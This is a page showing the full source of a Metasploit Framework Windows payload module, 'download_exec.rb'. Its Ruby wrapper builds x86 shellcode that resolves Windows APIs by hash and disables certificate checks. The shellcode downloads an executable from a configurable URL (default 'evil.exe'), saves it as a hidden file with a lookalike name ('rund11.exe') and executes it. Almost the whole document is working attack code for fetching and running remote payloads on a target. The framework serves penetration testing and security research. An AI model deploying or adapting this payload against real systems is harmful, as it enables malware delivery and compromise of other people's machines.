Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/download_exec.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 42389include Msf::Payload::Windows10include Msf::Payload::Single1112def initialize(info = {})13super(merge_info(info,14'Name' => 'Windows Executable Download (http,https,ftp) and Execute',15'Description' => 'Download an EXE from an HTTP(S)/FTP URL and execute it',16'Author' =>17[18'corelanc0d3r <peter.ve[at]corelan.be>'19],20'License' => MSF_LICENSE,21'Platform' => 'win',22'Arch' => ARCH_X8623))2425# Register command execution options26register_options(27[28OptString.new('URL', [true, "The pre-encoded URL to the executable" ,"https://localhost:443/evil.exe"]),29OptString.new('EXE', [ true, "Filename to save & run executable on target system", "rund11.exe" ])30])31end3233#34# Construct the payload35#36def generate(_opts = {})3738target_uri = datastore['URL'] || ""39filename = datastore['EXE'] || ""40proto = "https"41dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"42#;0x80000000 | ; INTERNET_FLAG_RELOAD43#;0x04000000 | ; INTERNET_NO_CACHE_WRITE44#;0x00800000 | ; INTERNET_FLAG_SECURE45#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT46#;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID47#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID48#;0x00000200 ; INTERNET_FLAG_NO_UI"4950exitfuncs = {51"PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess52"THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread53"SEH" => 0x00000000, #we don't care54"NONE" => 0x00000000 #we don't care55}5657protoflags = {58"http" => 0x3,59"https" => 0x3,60"ftp" => 0x161}6263exitfunc = datastore['EXITFUNC'].upcase6465if exitfuncs[exitfunc]66exitasm = case exitfunc67when "SEH" then "xor eax,eax\ncall eax"68when "NONE" then "jmp end" # don't want to load user32.dll for GetLastError69else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]70end71end7273# parse URL and break it down in74# - remote host75# - port76# - /path/to/file7778server_uri = ''79server_host = ''80port_nr = 443 # default8182if target_uri.length > 08384# get desired protocol85if target_uri =~ /^http:/86proto = "http"87port_nr = 8088dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"89#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION90end9192if target_uri =~ /^ftp:/93proto = "ftp"94port_nr = 2195dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"96end9798# sanitize the input99target_uri = target_uri.gsub('http://','') #don't care about protocol100target_uri = target_uri.gsub('https://','') #don't care about protocol101target_uri = target_uri.gsub('ftp://','') #don't care about protocol102103server_info = target_uri.split("/")104105# did user specify a port ?106server_parts = server_info[0].split(":")107if server_parts.length > 1108port_nr = Integer(server_parts[1])109end110111# actual target host112server_host = server_parts[0]113114# get /path/to/remote/exe115116for i in (1..server_info.length-1)117server_uri << "/"118server_uri << server_info[i]119end120121end122123# get protocol specific stuff124125#create actual payload126payload_data = <<EOS127cld128call start129; Stephen Fewer's block_api130; block_api code (Stephen Fewer)131api_call:132pushad ; We preserve all the registers for the caller, bar EAX and ECX.133mov ebp, esp ; Create a new stack frame134xor edx, edx ; Zero EDX135mov edx, fs:[edx+48] ; Get a pointer to the PEB136mov edx, [edx+12] ; Get PEB->Ldr137mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list138next_mod:139mov esi, [edx+40] ; Get pointer to modules name (unicode string)140movzx ecx, word [edx+38] ; Set ECX to the length we want to check141xor edi, edi ; Clear EDI which will store the hash of the module name142loop_modname: ;143xor eax, eax ; Clear EAX144lodsb ; Read in the next byte of the name145cmp al, 'a' ; Some versions of Windows use lower case module names146jl not_lowercase ;147sub al, 0x20 ; If so normalise to uppercase148not_lowercase: ;149ror edi, 13 ; Rotate right our hash value150add edi, eax ; Add the next byte of the name151loop loop_modname ; Loop until we have read enough152; We now have the module hash computed153push edx ; Save the current position in the module list for later154push edi ; Save the current module hash for later155; Proceed to iterate the export address table,156mov edx, [edx+16] ; Get this modules base address157mov eax, [edx+60] ; Get PE header158add eax, edx ; Add the modules base address159mov eax, [eax+120] ; Get export tables RVA160test eax, eax ; Test if no export address table is present161jz get_next_mod1 ; If no EAT present, process the next module162add eax, edx ; Add the modules base address163push eax ; Save the current modules EAT164mov ecx, [eax+24] ; Get the number of function names165mov ebx, [eax+32] ; Get the rva of the function names166add ebx, edx ; Add the modules base address167; Computing the module hash + function hash168get_next_func: ;169jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module170dec ecx ; Decrement the function name counter171mov esi, [ebx+ecx*4] ; Get rva of next module name172add esi, edx ; Add the modules base address173xor edi, edi ; Clear EDI which will store the hash of the function name174; And compare it to the one we want175loop_funcname: ;176xor eax, eax ; Clear EAX177lodsb ; Read in the next byte of the ASCII function name178ror edi, 13 ; Rotate right our hash value179add edi, eax ; Add the next byte of the name180cmp al, ah ; Compare AL (the next byte from the name) to AH (null)181jne loop_funcname ; If we have not reached the null terminator, continue182add edi, [ebp-8] ; Add the current module hash to the function hash183cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for184jnz get_next_func ; Go compute the next function hash if we have not found it185; If found, fix up stack, call the function and then value else compute the next one...186pop eax ; Restore the current modules EAT187mov ebx, [eax+36] ; Get the ordinal table rva188add ebx, edx ; Add the modules base address189mov cx, [ebx+2*ecx] ; Get the desired functions ordinal190mov ebx, [eax+28] ; Get the function addresses table rva191add ebx, edx ; Add the modules base address192mov eax, [ebx+4*ecx] ; Get the desired functions RVA193add eax, edx ; Add the modules base address to get the functions actual VA194; We now fix up the stack and perform the call to the desired function...195finish:196mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad197pop ebx ; Clear off the current modules hash198pop ebx ; Clear off the current position in the module list199popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered200pop ecx ; Pop off the original return address our caller will have pushed201pop edx ; Pop off the hash value our caller will have pushed202push ecx ; Push back the correct return value203jmp eax ; Jump into the required function204; We now automagically return to the correct caller...205get_next_mod: ;206pop eax ; Pop off the current (now the previous) modules EAT207get_next_mod1: ;208pop edi ; Pop off the current (now the previous) modules hash209pop edx ; Restore our position in the module list210mov edx, [edx] ; Get the next module211jmp.i8 next_mod ; Process this module212213; actual routine214start:215pop ebp ; get ptr to block_api routine216; based on HDM's block_reverse_https.asm217load_wininet:218push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.219push 0x696e6977 ; ...220mov esi, esp ; Save a pointer to wininet221push esp ; Push a pointer to the "wininet" string on the stack.222push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )223call ebp ; LoadLibraryA( "wininet" )224225internetopen:226xor edi,edi227push edi ; DWORD dwFlags228push edi ; LPCTSTR lpszProxyBypass229push edi ; LPCTSTR lpszProxyName230push edi ; DWORD dwAccessType (PRECONFIG = 0)231push esi ; LPCTSTR lpszAgent ("wininet\x00")232push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )233call ebp234235jmp.i8 dbl_get_server_host236237internetconnect:238pop ebx ; Save the hostname pointer239xor ecx, ecx240push ecx ; DWORD_PTR dwContext (NULL)241push ecx ; dwFlags242push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP)243push ecx ; password244push ecx ; username245push #{port_nr} ; PORT246push ebx ; HOSTNAME247push eax ; HINTERNET hInternet248push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )249call ebp250251jmp.i8 get_server_uri252253httpopenrequest:254pop ecx255xor edx, edx ; NULL256push edx ; dwContext (NULL)257#{dwflags_asm} ; dwFlags258push edx ; accept types259push edx ; referrer260push edx ; version261push ecx ; url262push edx ; method263push eax ; hConnection264push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )265call ebp266mov esi, eax ; hHttpRequest267268set_retry:269push 0x10270pop ebx271272; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );273set_security_options:274push 0x00003380275mov eax, esp276push 4 ; sizeof(dwFlags)277push eax ; &dwFlags278push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)279push esi ; hRequest280push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )281call ebp282283httpsendrequest:284xor edi, edi285push edi ; optional length286push edi ; optional287push edi ; dwHeadersLength288push edi ; headers289push esi ; hHttpRequest290push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )291call ebp292test eax,eax293jnz create_file294295try_it_again:296dec ebx297jz thats_all_folks ; failure -> exit298jmp.i8 set_security_options299300dbl_get_server_host:301jmp get_server_host302303get_server_uri:304call httpopenrequest305306server_uri:307db "#{server_uri}", 0x00308309create_file:310jmp.i8 get_filename311312get_filename_return:313xor eax,eax ; zero eax314pop edi ; ptr to filename315push eax ; hTemplateFile316push 2 ; dwFlagsAndAttributes (Hidden)317push 2 ; dwCreationDisposition (CREATE_ALWAYS)318push eax ; lpSecurityAttributes319push 2 ; dwShareMode320push 2 ; dwDesiredAccess321push edi ; lpFileName322push 0x4FDAF6DA ; kernel32.dll!CreateFileA323call ebp324325download_prep:326xchg eax, ebx ; place the file handle in ebx327xor eax,eax ; zero eax328mov ax,0x304 ; we'll download 0x300 bytes at a time329sub esp,eax ; reserve space on stack330331download_more:332push esp ; &bytesRead333lea ecx,[esp+0x8] ; target buffer334xor eax,eax335mov ah,0x03 ; eax => 300336push eax ; read length337push ecx ; target buffer on stack338push esi ; hRequest339push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )340call ebp341342test eax,eax ; download failed? (optional?)343jz thats_all_folks ; failure -> exit344345pop eax ; how many bytes did we retrieve ?346347test eax,eax ; optional?348je close_and_run ; continue until it returns 0349350write_to_file:351push 0 ; lpOverLapped352push esp ; lpNumberOfBytesWritten353push eax ; nNumberOfBytesToWrite354lea eax,[esp+0xc] ; get pointer to buffer355push eax ; lpBuffer356push ebx ; hFile357push 0x5BAE572D ; kernel32.dll!WriteFile358call ebp359sub esp,4 ; set stack back to where it was360jmp.i8 download_more361362close_and_run:363push ebx364push 0x528796C6 ; kernel32.dll!CloseHandle365call ebp366367execute_file:368push 0 ; don't show369push edi ; lpCmdLine370push 0x876F8B31 ; kernel32.dll!WinExec371call ebp372373thats_all_folks:374#{exitasm}375376get_filename:377call get_filename_return378db "#{filename}",0x00379380get_server_host:381call internetconnect382383server_host:384db "#{server_host}", 0x00385end:386EOS387self.assembly = payload_data388super389end390end391392393